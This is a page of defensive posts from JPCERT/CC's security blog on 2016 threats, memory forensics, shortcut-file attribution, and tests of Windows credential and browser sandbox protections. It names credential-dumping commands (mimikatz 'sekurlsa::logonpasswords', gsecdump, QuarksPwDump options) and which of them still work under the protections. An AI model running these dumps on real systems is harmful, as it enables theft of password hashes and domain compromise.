46 posts categorized "#Threats" Feed

Jan 25, 2017

2016 in Review: Top Cyber Security Trends in Japan

Hi, this is Misaki Kimura from Watch and Warning Group.

Another new year has come and gone, and as I look back over about the significant security trends that took place in 2016, it is needless to mention that security threat landscape is ever evolving and increasingly complex. As a basis for what we can prepare for 2017, I’d like to review security headlines in 2016 by referring to the activities carried out in Japan, to look into the expectations to come.

Increase in DDoS built by botnets such as Mirai

Large-scale botnets leveraging Internet of Things (IoT) devices to launch massive DDoS attacks, became a prominent topic worldwide. The Mirai botnet, which was responsible for the series of attacks in recent months, including the DDoS attacks against American journalist’s website “Krebs on Security”, and DNS provider “Dyn”, had brought a huge impact. The word “Mirai” is a Japanese word for “future”, and just as it is interpreted, since the release of Mirai source code last September, it has called a lot of concerns of what poorly secured IoT devices may bring in the future.

In response to this, a technical alert (in Japanese) was released on Japan Vulnerability Notes (JVN) to promote IoT device owners/users in Japan to secure their devices, and organizations were encouraged to place countermeasures towards DDoS attacks. In addition, JPCERT/CC has announced a security alert for awareness raising, and the Information-technology Promotion Agency, Japan (IPA) has also announced an alert (in Japanese) respectively.

Security guidelines concerning IoT were also published from multiple organizations during last year. “IoT Security Guide for Consumers (ver1.0)” (in Japanese) that is intended for readers such as IoT device developers and consumers to take precautions towards IoT devices was published from the Japan Network Security Association (JNSA). Furthermore, “IoT Security Guideline ver1.0” (in Japanese) was announced from the IoT Acceleration Consortium’s IoT Security Working Group, organized by the Ministry of Economy, Trade and Industry (METI) and the Ministry of Internal Affairs and Communications (MIC).

Advanced Persistent Threat (APT) becomes increasingly sophisticated

Since the Japan Pension Service hack in 2015 that led to 1.25 million cases of personal data leak, the Japanese public has been paying attention to targeted attacks than ever before. These types of attacks continued to evolve constantly by developing new tactics, techniques and procedures. Particularly in 2016, we have been observing attacks concerning to malware known as Daserf [1], Asurex [2], Sysget (aka HelloBridge, ZACOM) [3] and Elirks (aka KLURP) [4]. Though the attribution for each malware may differ, a common attack vector is observed - malware infections are attempted by convincing the user to open attachments of spear phishing emails or watering hole attacks.

Amongst all, what specifically grabbed our attention was Daserf. Not only different C2 servers were used for each targeted organization, but the C2 server for each infected device within the organization was also individual. Due to this multiplicity, blacklisting the URLs and IP addresses of C2 servers were no more an effective measure, allowing the threat actors to remain undetected for a long duration of time.

On the other hand, Elirks was also unique in terms of retrieving its C2 server’s IP address – it obtains the IP address by accessing to pre-determined microblog service or SNS. This behavior is deemed to avoid the detection of security products and to flexibly switch the C2 server specified in the content of articles posted on those legitimate services by rewriting the code in it.

In accordance to this situation, at JPCERT/CC, we released a document on “Initial Procedures and Response Guideline for Countering Advanced Persistent Threat” (in Japanese) and also “Report on the Research into Evidence of Attack Tool Execution for Incident Investigation” (released in Japanese, English version will be coming out by the end of first half of 2017 (Title is tentative)). The former aims to enhance effective incident response procedures to deal with APT by providing knowledge on how to detect, analyze and contain the attacks, while the latter aims to promote efficient investigation upon an incident by providing information on actual attack tools used by threat actors and evidence left in log files when executing those tools.

Attack cases on financial theft continues to take place

According to the report (in Japanese) released by the National Police Agency (NPA), financial loss caused by illegal money transfer using Internet banking services that occurred in the first half of 2016 has been greatly reduced both in number of victims and the amount of financial loss of credit unions and corporate accounts. To be more specific, the damage amount in the first half of 2016 was 898 million Japanese yen, which decreased from the second half of 2015 (1.53 billion Japanese yen). However, in terms of personal accounts, the number of victims and amount of financial loss were witnessed at the same level as 2015 on average.

In 2016, Online Banking Trojans that steal IDs and passwords were attached to Japanese written spam emails and sent to Japanese users. Notorious Banking Trojans that were causing damages overseas such as Ursnif (aka: Gozi, Snifula) [5], Shiotob (aka: URLZONE, Bebloh) [6] and KRBANKER [7] (in Japanese), were also beginning to target online users in Japan.

In addition, ransomware continued to keep prevalent this year as well. Based on the report (in Japanese) from TrendMicro, Japanese organizations infected with ransomware in the first half of the year reached to 1,740, which was 7 times higher compared with the same time of 2015. Regarding the amount of financial loss itself, it has become the most significant security threat amongst all to Internet users.

Lastly, one more to note - 2016 was the year for JPCERT/CC to celebrate its 20th anniversary. As long as JPCERT/CC represents as the coordination center for cyber security incidents in Japan, we will continue to endeavor to create cyber space a safer place for all through cooperation and coordination with various partners around the globe. We would like to convey our gratitude for your support and cooperation, and would like to continuously devote the utmost effort in our activities.

Thank you for reading.

- Misaki Kimura


References:

[1] http://www.lac.co.jp/security/report/pdf/cgview_vol2_en.pdf

[2] http://blog.jpcert.or.jp/2016/06/asruex-malware-infecting-through-shortcut-files.html

[3] https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf

[4] http://researchcenter.paloaltonetworks.com/2016/06/unit42-tracking-elirks-variants-in-japan-similarities-to-previous-attacks/

[5] http://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/

[6] http://blog.trendmicro.com/trendlabs-security-intelligence/bebloh-expands-japan-latest-spam-attack/

[7] http://blog.trendmicro.co.jp/archives/13683

Dec 22, 2016

Update from the CyberGreen Project

Hi, this is Moto Kawasaki from Global Coordination Division. It has been a little while since I wrote about the CyberGreen Project last time, and I would like to update the achievements of the Project.

The most impressive news in the first half of this fiscal year 2016 (Apr-Sep in Japan) is the renewal of its web site. Please have a look at the Info site and you'll find nice pages introducing distinguished advisers and board members of the Project, the mission statement and Project goals, and much more.

Figure 1: CyberGreen Info site
Fig_1

It is a good summary and outcome of what we have been aiming for years, and especially the Blog page shows cutting-edge stories around the Project, including investments not only from JPCERT/CC over the years, but also from the newly-joined Foreign & Commonwealth Office of the United Kingdom and Cyber Security Agency of Singapore, which proves the project is well-supported by various organizations.

If you click the Statistics tab, you'll find the Stats site that describes the Beta-2 version of the statistics with a colored map and scores by region and by AS number. These scores are based on the data from the Open Resolver Project and other data sources, as listed in the Data Inventory page. The calculation algorithm is described in the About page, and the score is a kind of density as per the formula: the natural logarithm of the number of open servers found in a region over the natural logarithm of the maximum number of nodes per country in that region, which is expressed by the score between 0 (best) and 100 (worst).

Figure 2: Colored map on Stats site
Fig_2
Figure 3: Scores indicating risks
Fig_3

With these renewed sites, we had several promotions such as CyberGreen Workshop at the APCERT Annual General Meeting & Conference 2016 (please find a blog post on the Conference here), a session on “CyberGreen: Improving Ecosystem Health through Metrics based Measurement and Mitigation Support” at the FIRST Regional Symposium for Arab and African Regions, and another CyberGreen Index proposed as “Measuring CyberGreen Readiness” at the 9th Annual National Conference on Cyber Security, Sri Lanka.

Figure 4: Green Index proposed at the Conference in Sri Lanka
Fig_4

In addition to the continued efforts by the CyberGreen Project team, there was another big news: “CyberGreen Metrics v.2 Method and Report Finalized.” As described in the news page, we will see another revision in the Info and Stats sites, hopefully in early 2017.

As such, we wish you to join CyberGreen to make the Internet safer together.

Thank you very much.

- Moto Kawasaki

Dec 16, 2016

A New Tool to Detect Known Malware from Memory Images – impfuzzy for Volatility –

Hi again, this is Shusei Tomonaga from the Analysis Center. Today I will introduce a tool “impfuzzy for Volatility”, which JPCERT/CC has created for extracting known malware from memory images and utilises for analysis operations.

Malware Detection in Memory Forensics

To judge if a file type malware sample is a known kind, the easiest and fastest way is to check the hash value (e.g. MD5 or SHA 256) of the entire file to see if it matches any of those in malware databases. However, this method is not applicable for memory forensics. This is because executable files loaded on the memory are partially altered by the OS or the malware itself (for example, when an executable file is loaded on the memory, IAT – import address table – is replaced with the API’s address loaded on the memory), and therefore hash values of the file before and after being loaded on the memory do not match.

In this sense, for memory forensics, signature matching using Yara scan is often used for detecting known malware. In order to use this method, however, details of the malware need to be analysed and also its signature needs to be generated beforehand.

Overview and Main Features of impfuzzy for Volatility

“impfuzzy for Volatility” is a tool that solves such issues and enables extracting known malware from memory images. This tool is implemented as a plugin for The Volatility Framework (hereafter “Volatility”), a memory forensics tool. To enable detection even after information in the malware executable file is partially altered when loaded on the memory, the tool uses “impfuzzy” method which compares the similarities of Windows executable files based on hash values generated from Import API. impfuzzy was introduced in a past article on this blog.

impfuzzy for Volatility offers the following functions and is applicable for investigations using imphash [1] as well.

  • impfuzzy – Compares and displays hash values of executable files in memory images using impfuzzy
  • Ÿimphashlist – Displays the imphash value of executable files in memory images
  • imphashsearch – Compares hash values of executable files in memory images using imphash

When executing the following command line, impfuzzy hash values of the executable files and DLL files loaded on the memory will be listed as in Figure 1.

$ python vol.py -f [memory.image] --profile=[profile] impfuzzy -a (-p [PID]) 
Figure 1: Executable files in memory images and their hash values
Acreportimpfuzzy_volatility_01

To search memory images for files which are similar to certain executable files, the following command line can be executed.

$ python vol.py -f [memory.image] --profile=[profile] impfuzzy -e [PE File or Folder] (-p [PID])

The executable file to compare with or the folder where it is stored can be specified as option “-e”.

By executing the above command line, similar executable files can be detected as in Figure 2 (The “Compare” field indicates the similarity by percentage).

Figure 2: Detecting similar files from memory images
Acreportimpfuzzy_volatility_02

Figure 2 demonstrates the example where Citadel, a type of banking malware, is detected. Citadel is usually packed and starts running by injecting unpacked code into Explorer, etc. impfuzzy for Volatility compares executable files loaded on the memory, which makes it possible to calculate hash values of unpacked samples. Therefore, similarities can be judged even for packed malware.

impfuzzy for Volatility can also detect code that is injected into processes, as well as executable files and loaded DLL files. In Figure 2, “INJECTED CODE” in the “Module Name” field indicates that there is code injected into the processes.

The following shows other options that are available in impfuzzy for Volatility.

(Example 1) Compares impfuzzy hash values listed in the file with executable files in the memory, and displays the results:

$ python vol.py -f [memory.image] --profile=[profile] impfuzzy -i [Hash List File] (-p [PID])

(Example 2) Lists imphash values of executable files loaded on the memory

$ python vol.py -f [memory.image] --profile=[profile] imphashlist (-p [PID])

(Example 3) Compares imphash values listed in the file with executable files in the memory, and displays the results that match

$ python vol.py -f [memory.image] --profile=[profile] imphashsearch -i [Hash List] (-p [PID])

Advantages of Using impfuzzy in Memory Forensics

Even though executable files loaded on the memory are partially altered as previously discussed, their Import API remain the same. impfuzzy judges the similarity based on hash values derived from Import API of the executable files. This makes it possible to identify the same file even from executable files loaded on the memory.

Furthermore, since impfuzzy can generate hash values automatically, unlike Yara scan, there is no need to generate signatures manually.

Obtaining and Installing impfuzzy for Volatility

This tool is available on GitHub, a shared web service for software development projects. Feel free to download from the following website for your use:

JPCERTCC/aa-tools GitHub - impfuzzy for Volatility
https://github.com/JPCERTCC/aa-tools/tree/master/impfuzzy/impfuzzy_for_Volatility

In order to use this tool, the following Python module needs to be installed.

  • Ÿpyimpfuzzy

Please see the following website regarding installation of pyimpfuzzy.

https://github.com/JPCERTCC/aa-tools/tree/master/impfuzzy/pyimpfuzzy

When executing, impfuzzy.py needs to be installed from the aforementioned website, stored in the “contrib/plugins” folder in Volatility and then executed. (It is also possible to specify the folder where impfuzzy.py is stored using option “--plugins”.)

Summary

Memory may contain some information including malware that is not left on the hard disk, and therefore memory forensics is important in incident investigations involving malware infection. We hope that this tool is utilised as to effectively conduct investigations on memory forensics in such security incidents.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)


Reference:

[1] FireEye - Tracking Malware with Import Hashing
https://www.fireeye.com/blog/threat-research/2014/01/tracking-malware-import-hashing.html

Dec 05, 2016

Evidence of Attackers’ Development Environment Left in Shortcut Files

A shortcut file, also referred to as a shell link, is a system to launch applications or to allow linking among applications such as OLE. As we introduced in a previous blog post “Asruex: Malware Infecting through Shortcut Files”, shortcut flies are often used as a means to spread malware infection. Generally, shortcut files contain various types of information including the dates and environment that the shortcut file was created. This also applies to shortcut files created by attackers. By extracting and correlating information recorded in the shortcut files used in attacks, it is possible to identify the shortcut files that may have been created by the same attacker.

This blog entry explains how to classify an attack subject through information recorded in the shortcut files used in attacks. Furthermore, the article will also introduce trends in the system environments used by the latest attackers, which JPCERT/CC learned through statistical analysis of information gained from a number of shortcut files used in attacks.

Information Contained in Shortcut Files

Among the various types of information recorded in shortcut files, the following is the list of items that JPCERT/CC focused on for the purpose of this analysis (For the shortcut file format, please refer to the information released by Microsoft [1]).

  • Code page number: Number describing the character encoding configured in the OS where the shortcut file was created
  • ŸVolume serial number: Volume serial number of the drive where the shortcut file was located at the time of creation
  • ŸNetBIOS name: Computer name of the machine where the shortcut file was created
  • ŸMAC address: MAC address of the machine’s network adapter where the shortcut file was created

(Part of the DroidBirth field (GUID value) may contain the MAC address [2]. If neither network nor adapter exists, this will be a random value instead of a MAC address).

JPCERT/CC has confirmed that these types of information are being left in many of the shortcut files used in actual attacks. If these are available, it is possible to presume the system environment that the attackers use.

The following section explains the results of the study and classification of 83 shortcut files that JPCERT/CC collected from actual attack cases.

Classification of Shortcut Files Used in Actual Attacks

Among the above-listed information that shortcut files contain, the following 3 are useful in terms of identifying the system environment used when the shortcut file was created.

  • Volume serial number
  • NetBIOS name
  • MAC address

Shortcut files that have the same information in the above items are likely to be created by the same attacker. The image below illustrates the similarity of the shortcut files in terms of the 3 types of information. The nodes show either a shortcut file, MAC address, NetBIOS name or volume serial number, and represented in different colours – for example gray for shortcut file. For the above 3 types of information, the values are connected to the corresponding nodes with a line if the respective values are contained in the shortcut file.

Figure 1: Shortcut file clustering
Visualization_eng

Shortcut files used in attacks may contain the same volume serial number, NetBIOS name and MAC address and form a cluster. For example, the shortcut files which infect Asruex (obtained by JPCERT/CC) contained the following information:

  • Volume serial number: 4ec5-2eee
  • NetBIOS name: pc1-pc
  • MAC address: d0:50:99:27:d0:fc
Figure 2: The cluster of shortcut files infecting Asruex
Acreportasruex_lnk

In this way, multiple shortcut files may be correlated by comparing volume serial number, NetBIOS name and MAC address in the shortcut file. The coming section demonstrates the environments that attackers used for creating shortcut files, which can be seen from the analysis of shortcut file information.

Attackers’ Environment Identified from Shortcut Files

The first 3 bytes of MAC address are allocated for the Organizationally Unique Identifier (OUI), which shows the vendor of the product. Vendor names that can be identified from the 3 bytes of the MAC address in the shortcut files used in attacks are listed in Table 1.

Table 1: Results of first 3 bytes of MAC address
First 3 bytes of MAC addressVendor NameNumber
00-0c-29 VMware, Inc. 22
d0-50-99 ASRock Incorporation 15
00-50-56 VMware, Inc. 10
44-37-e6 Hon Hai Precision Ind.Co.Ltd 2
00-15-5d Microsoft Corporation (Hyper-V) 1
08-00-27 CADMUS COMPUTER SYSTEMS (VirtualBox) 1
1c-75-08 COMPAL INFORMATION (KUNSHAN) CO., LTD. 1
20-c9-d0 Apple Inc. 1

It is clear that attackers tend to use a virtual environment for creating files. Many malware analysts use a virtual environment for analysis so that the actual environment does not get infected with malware. For the same reason, malware creators seem to use a virtual environment as well.

We also searched for code page information of shortcut files used in attacks and identified that the information remained in 22 of the artifacts. All of them had the same code page 936, which indicates simplified Chinese language.

For other noteworthy results taken from information left in the shortcut files, please see Appendix A.

Summary

Information on attackers’ system environment remains in many shortcut files used in attacks. By utilising the information, classification of the attack subject can be easily conducted. When analysing shortcut files used in attacks, there may be new findings by focusing not only on malicious scripts that attackers intentionally created, but also on evidence that they left unintentionally in the shortcut files.

Thank you for reading – see you soon.

- Shusei Tomonaga

(Translated by Yukako Uchida)


References:

[1] Microsoft - [MS-SHLLINK]: Shell Link (.LNK) Binary File Format
  https://msdn.microsoft.com/en-us/library/dd871305.aspx

[2] IETF - RFC 4122 - A Universally Unique IDentifier (UUID) URN Namespace
  https://tools.ietf.org/html/rfc4122.html

Appendix A: List of information contained in shortcut files used in attacks
Table A-1: List of NetBIOS name (Top 10)
NetBIOS nameNumbers
pc1-pc 15
host-473640c404 8
kitchen 8
lenovo-60ff5341 4
seasbo 4
john-a00bf62302 3
user-1aecf0882a 3
google-329ea5f8 2
microsof-92e057 2
win-qn3bc0dqd7e 2

Table A-2: List of volume serial number (Top 10)
Volume serial numberNumbers
4ec5-2eee 15
3ee4-c3c3 8
78e5-aa39 8
602c-9a8a 7
10bc-fa5f 4
6659-b92f 4
b017-3d5c 4
ac5c-ff44 3
b45e-f641 3
365f-818f 2

Table A-3: List of MAC address (Top 10)
MAC addressNumbers
d0:50:99:27:d0:fc 15
00:50:56:c0:00:08 11
88:3b:a8:bd:d5:37 8
ab:33:5b:4f:99:a0 8
00:0c:29:2c:21:be 3
00:0c:29:34:86:a9 3
00:0c:29:ea:a9:9c 3
00:0c:29:cb:0b:aa 2
44:37:e6:84:72:77 2
00:0c:29:20:d2:d9 1

Oct 31, 2016

Verification of Windows New Security Features – LSA Protection Mode and Credential Guard

In most of the targeted attack cases, often multiple computers get infected by malware, rather than just a single computer, and attackers continue compromising other computers across the network, including important servers. For this “lateral movement” purpose, password hash is often targeted. In order to enhance protection against such information theft, LSA Protection Mode for Windows 8.1 etc. and Credential Guard for Windows 10 Enterprise have been introduced. In this entry, we will examine the protection effect of these features and the points to consider in reserving the effect.

Overview of LSA Protection Mode

LSA (Local Security Authority) is a subsystem related to Windows security. It manages user rights information and stores password hash etc. in the memory. In OS including Windows 8.1 and others, LSA Protection Mode serves to protect such information from being stolen.

In order to enable LSA Protection Mode, users need to edit the registry as instructed in Technet Library [1] and reboot the OS. Please note that LSA plug-ins which are not compatible with LSA Protection Mode will not function after enabling the mode. Such plug-ins can be identified by using Audit Mode before changing the Protection Mode.

LSA Protection Mode was first introduced in Windows 8.1 and Windows Server 2012 R2. For Windows 10, which was released after that, Build 10240 could not be started up properly with Protection Mode. However, we confirmed that Build 10586 (Version 1511, November Update, TH2) was successfully started up under the mode.

Verification of LSA Protection Mode with Artifacts Used in Actual Attacks

We verified the effect of LSA Protection Mode by attempting hash dump using 4 types of artifacts which have functions to dump password hash. All the artifacts were used in actual attacks. Functions of each artifact are described in Table 1. Figure 1-6 shows the dump results for each artifact, and Table 2 shows the results under LSA Protection Mode.

We conducted the verification using Windows 10 Build 10586 and Windows 8.1, and confirmed that the same results were derived.

Table 1: Artifacts that dump password hash
ArtifactCommand/OptionDumped Information
mimikatz sekurlsa::logonpasswords Logged-on user information
gsecdump -u Logged-on user information
PwDump7 N/A Local user information
QuarksPwDump -dhl Local user information
Table 2: Results of hash dump under LSA Protection Mode
ArtifactResult
mimikatz Failed (An error occurred)
gsecdump Failed (An error occurred)
PwDump7 Successful
QuarksPwDump Successful

Under LSA Protection Mode, mimikatz and gsecdump observed an error as in Figure 2 and 4, and were unable to dump. On the other hand, when it is disabled, these two types of artifacts are able to dump logged-on domain user information as in Figure 1 and 3. Information of the domain user can be a hint to compromise other computers within the domain (e.g. pass-the-hash attack). LSA Protection Mode protects such domain user information from being stolen, and therefore it is expected to hinder lateral movement.

Figure 1: mimikatz (Protection Mode disabled)
Fig1
Figure 2: mimikatz (Protection Mode enabled)
Fig2
Figure 3: gsecdump (Protection Mode disabled)
Fig3
Figure 4: gsecdump (Protection Mode enabled)
Fig4
Figure 5: PwDump7
Fig5
Figure 6: QuarksPwDump
Fig6

As Figure 5 and 6 demonstrate, dumping with PwDump7 and QuarksPwDump is successful regardless of LSA Protection Mode since they dump information by reading disk devices or using registry API, instead of stealing information from LSA processes. However, the information that these two dump is local user information, not domain user. Note that the results here are derived solely from the commands/options in Table 1. (e.g. mimikatz also has a command to steal local user information just like QuarksPwDump etc.)

Overview of Credential Guard

For Windows 10 Enterprise, you can also use a further advanced system to protect LSA, “Credential Guard”. It is based on a protection environment isolated from the OS by virtualisation using hardware. Therefore, when Credential Guard is enabled, secret data and parts of LSA process that store the secret data are isolated from the OS and then protected [2] [3]. Comparison of LSA Protection Mode and Credential Guard is described in Table 3.

Table 3: Comparison of LSA Protection Mode and Credential Guard
Applicable Windows version, editionProtection mechanismWhether LSA process on the OS stores/manages rights information
LSA Protection Mode Windows 8.1, Windows Server 2012 R2 and others Restrict access to LSA process on the OS Yes
Credential Guard Windows 10 Enterprise only Isolate secrets from OS on Hypervisor No (Isolated parts that protect the secrets do)

Credential Guard can be enabled in Group Policy Management Console. However, if Hyper-V Hypervisor is not enabled in advance, in some cases, Credential Guard may not be enabled until it is first enabled in the Console, and rebooted, and then rebooted again manually. Furthermore, Credential Guard does not function even if it looks enabled on Group Policy Management Console, in case the hardware requirements are not met or required functions are disabled by UEFI (BIOS) configurations. Whether Credential Guard is actually enabled can be checked by displaying system information [2].

Verification of Credential Guard with Artifacts Used in Actual Attacks

We conducted another verification test of hash dumping by using the same artifacts as in Table 1. The results of password hash for each artifact are shown in Table 4. The result outputs are shown in Figure 5-8.

Table 4: Results of password hash dump under Credential Guard
ArtifactResult
mimikatz Failed (incorrect hash value dumped)
gsecdump Failed (incorrect hash value dumped)
PwDump7 Successful (as in Figure 5)
QuarksPwDump Successful (as in Figure 6)

As Table 4 describes, the dump results are similar to the verification under LSA Protection Mode (Table 2). In Figure 7 and 8, which shows the dump results with mimikatz and gsecdump under Credential Guard, there was no error observed (unlike Figure 2 and 4 under LSA Protection Mode). However, this is due to the fact that the protection mechanism is different in LSA Protection Mode and Credential Guard as in Table 3, and it does not mean that the password hash is stolen.

Figure 7: mimikatz (Credential Guard)
Fig7
Figure 8: gsecdump (Credential Guard)
Fig8

Compare Figure 1 which shows the dump results of mimikatz without LSA protection and Figure 7 with Credential Guard, and similarly Figure 3 and 8 for gsecdump. Although the same password is configured for all the cases, you will realise that the password hash value is different and it derives an incorrect password hash value under Credential Guard (Figure 7 and 8). This means that the password hash is not stolen when Credential Guard is enabled.

Local password hash dump using PwDump7 and QuarksPwDump succeeds because it does not use LSA as an information source (as described in the Verification of LSA Protection Mode above), even under Credential Guard.

Point to Consider - 1

If you compare Figure 1 which shows the dump results of mimikatz without LSA protection and Figure 6 of QuarksPwDump with LSA protection, you will see that the password hash (NTLM) for “user1” in Figure 1 and “localuser1” in Figure 6 are identical. This means that these users share the same password, and actually “user1” is a domain user and “localuser1” is a local user. In mimikatz environment, domain users’ password hash can be protected by using LSA Protection Mode or Credential Guard. However, with QuarksPwDump, these two protection features are not effective against password hash dump of local users.

Even under LSA Protection Mode or Credential Guard, local users’ password hash can be stolen using PwDump7 or QuarksPwDump etc. in an environment where a domain user and a local user share the same password, and this raises the risks of the domain being compromised. Make sure to configure a different password for domain users and local users within the domain.

Point to Consider - 2

By using QuarksPwDump which is capable of dumping under LSA Protection Mode or Credential Guard, it is possible to dump domain logon information that was cached on the local disk as follows:

Figure 9: QuarksPwDump –dhdc

Fig9

This cache is for usage on a laptop PC which is temporally offline from a domain. Neither LSA Protection Mode nor Credential Guard can protect the information in the cache from being stolen. Computers that are constantly connected to the domain do not require cache function, and in such case this function can be disabled. In order to disable cache, edit Group Policy [4] or registry [5].

If you disable cache, domain passwords cannot be found even with QuarksPwDump as shown in Figure 10.

Figure 10: QuarksPwDump –dhdc (Logon cache disabled)
Fig10

If you cannot disable cache due to the network environment where the computer operates, it is better to configure stronger passwords (length, types of letters, hard to guess from dictionary). The cached password hash has a different format from data stolen from LSA, and it cannot be used for pass-the-hash attacks as is. However, some tools to crack the hash are already available, and it is possible to break weak and simple passwords.

Summary

We have verified that LSA Protection Mode and Credential Guard are one of the effective protection features against lateral movement in targeted attacks, by protecting domain password hash from being stolen. In order to enable the features, please make sure that your hardware and software meet the requirements and there is no impact on your driver or plug-ins. Also, it is important to check if your environment does not reduce the protection effect. We hope that these features help in constructing an even more secure Windows domain environment.

-Kenichi Imamatsu

(Translated by Yukako Uchida)


References

[1] Microsoft - Configuring Additional LSA Protection
     https://technet.microsoft.com/en-us/library/dn408187.aspx

[2] Microsoft - Protect derived domain credentials with Credential Guard
     https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard

[3] FFRI - Windows 10 Research report on effects of reducing security risks - Phase 1 (Japanese only)
     http://www.ffri.jp/assets/files/research/research_papers/windows10_security_ja.pdf

[4] Microsoft - Interactive logon: Number of previous logons to cache (in case domain controller is not available)
     https://technet.microsoft.com/en-us/library/mt629048(v=vs.85).aspx

[5] Microsoft - Cached domain logon information
     https://support.microsoft.com/en-us/kb/172931

Aug 29, 2016

AppContainer’s Protecting Effects on Vulnerability-Exploited Web Browsers

Our previous article “Enhanced Protected Mode in Internet Explorer” (published in August 2015) introduced that running the browser with Enhanced Protected Mode in 64-bit mode is effective in the protection against attacks exploiting vulnerabilities. This entry will verify the effect of “AppContainer” against attacks, which is another function related to Enhanced Protected Mode for Windows 8 and later.

AppContainer and Web Browser

AppContainer is a sandbox which runs applications in an isolated environment. Access from AppContainer to an external environment is strictly limited. The biggest difference from Protected Mode (not Enhanced; access control based on Integrity Level) is that even reading is basically prohibited in addition to writing. [1]

The following Web browsers run within AppContainer:

  • Edge for Windows 10
  • Internet Explorer 11 in Modern UI (Metro) for Windows 8.1 (Immersive browser)

Flash Player which is integrated in Windows 8.1 and Windows 10 is also compatible with AppContainer.

Internet Explorer 11 for Windows 8.1 Desktop and Windows 10 do not run in AppContainer by default. They can run in AppContainer by selecting “Enable Enhanced Protected Mode” in Internet Options. Internet Explorer 11 on Windows 64-bit mode has an option to “Enable 64-bit processes for Enhanced Protected Mode”, however, this alone does not enable Enhanced Protected Mode. The browser will run in 64-bit mode outside AppContainer unless you enable Enhanced Protected Mode in Internet Options. When Enhanced Protected Mode or 64-bit mode is enabled, add-ons that are not compatible with AppContainer or 64-bit mode will not run. Also, even if Enhanced Protected Mode is enabled, it gets disabled when Protected Mode is disabled, for instance in Trusted Sites Zone.

Tests with Malware Samples Used in Actual Attacks

We conducted some tests to see the effect of AppContainer by using malware samples used in actual attacks exploiting Flash Player vulnerability. We used two kinds of samples. For one of them, we also tested by making modifications to the sample to see potentially derived methods. So, we conducted tests for the following three cases:

  • Test 1: See if the sample, which creates and launches executable files by exploiting the vulnerability APSB15-18, runs
  • Test 2: Modify the sample in Test 1 so that it launches executable files via DLL, and see if it runs
  • Test 3: See if the sample, which executes Windows commands and scripts by exploiting the vulnerability APSB16-15, runs

The tests were conducted using Internet Explorer 11 for Windows 10, and we observed the difference in behaviour depending on the configuration of Enhanced Protected Mode. We have confirmed that the same results were obtained for Windows 8.1 and 10.

Test 1 – Creating and Launching Executable Files

First, as a simple case, we tested AppContainer’s effect by checking if malware is successful in creating and launching executable files with different Enhanced Protected Mode configuration. Table 1 describes the behaviour of the sample after successfully exploiting the vulnerability APSB15-18.

Table 1: Creating and Launching Executable Files
Internet OptionsCreating Malware’s Executable FilesLaunching the Created Executable Files
Default (Enhanced Protected Mode disabled) Successful Successful
Enhanced Protected Mode enabled (AppContainer) Successful Failed
Enhanced Protected Mode enabled + Trusted Websites (Protected Mode disabled) Successful Successful

Whether or not Enhanced Protected Mode is enabled, executable files were successfully created. However, when Enhanced Protected Mode is enabled, it fails to launch the file due to an API error. This means that infection will not occur under Enhanced Protected Mode. However, even if Enhanced Protected Mode is enabled, it is disabled in Trusted Sites Zone, and thus infection cannot be prevented.

Test 2 – Launching Executable Files via DLL

The sample used in Test 1 was a simple one which creates and launches executable files. There could be other kinds of malware using more sophisticated methods. As an example, we took advantage of the fact that DLL can also be loaded in AppContainer, and modified the malware to launch executable files indirectly via DLL. We tested to see if executable files could launch this way (shown in Table 2).

Table 2: Launching via DLL
Internet OptionsLaunching Malware’s Executable Files
Default (Enhanced Protected Mode disabled) Suspended (Launches if allowing the warning pop-up)
Enhanced Protected Mode enabled (AppContainer) Suspended (Launches if allowing the warning pop-up)
Enhanced Protected Mode enabled + Trusted Websites (Protected Mode disabled) Successful (No warning pop-up)

Except for the case where Protected Mode is disabled for Trusted Sites Zone, the warning pop-up in Figure 1 appears:

Figure 1: Warning Pop-up asking to allow File Execution
Fig1en

If you choose “Allow” on the pop-up, even under Enhanced Protected Mode, malware is executed without AppContainer’s operation restriction. Please be cautious not to casually allow this message.

Figure 2 to 4 show the Process Explorer screen when executable files were successfully launched. In Figure 3, the “Integrity” for processes running within AppContainer is shown as “AppContainer” instead of its actual Integrity Level. Although the parent-child relationship for processes shown in Figure 2 and 3 are different from that of Figure 4, the process calling for API which launches the malware’s executable file is “iexplorer.exe”, which is listed in the second row from the bottom (iexplorer.exe of child process) in all these figures. Therefore, unlike the case where the malware’s executable file was launched without a warning pop-up and infection occurred (Figure 4), the launched process (sample.exe) will not be a child process of the process calling for API (iexplorer.exe) when execution is allowed at the warning pop-up (Figure 2 and 3).

Figure 2: Screen when execution is allowed at the warning pop-up (Enhanced Protected Mode disabled)
Fig2

Figure 3: Screen when execution is allowed at the warning pop-up (Enhanced Protected Mode enabled)
Fig3

Figure 4: Screen when infected via trusted Websites (Protected Mode disabled)
Fig4

Test 3 – Launching Windows Command

The last test used samples we recently observed in June 2016, Flash File (SWF) sample of Neutrino Exploit Kit. The sample attempts to create and execute scripts to download and launch malware by leveraging vulnerability APSB 16-15. cmd.exe (Windows command processor) is used to create the scripts, and WScript.exe (Windows Script Host) is used to execute the scripts for downloading and launching the malware. The test results are described in Table 3.

Table 3: Results for Launching Windows Command, Creating and Executing Scripts
Internet OptionsLaunching cmd.exeCreating ScriptsDownloading and Launching
Default (Enhanced Protected Mode disabled) Successful Successful Successful
Enhanced Protected Mode enabled (AppContainer) Successful Failed -
Enhanced Protected Mode enabled + Trusted Websites (Protected Mode disabled) Successful Successful Successful

In any case, cmd.exe is successfully launched. Process Explorer at this stage is illustrated in Figure 5. Unlike Test 1 or 2, programs are launched within AppContainer.

Figure 5: Launched Programs within AppContainer
Fig5

As shown, launching programs within AppContainer does not necessarily fail, and Windows command and others can be launched. In this situation, a warning screen as in Figure 1 will not appear. However, functions of the command are limited, since it takes over the conditions within AppContainer. This sample is not compatible with the limited command functions, and so cannot create scripts. Therefore, infection will not occur under Enhanced Protected Mode.

Summary

Even if a vulnerability is leveraged, we have verified that further stage of attack can be prevented by running the Web browser within AppContainer. Through access restriction against malicious codes, you can expect to limit the range of affected area by an attack, or even reduce the risk of being infected by malware.

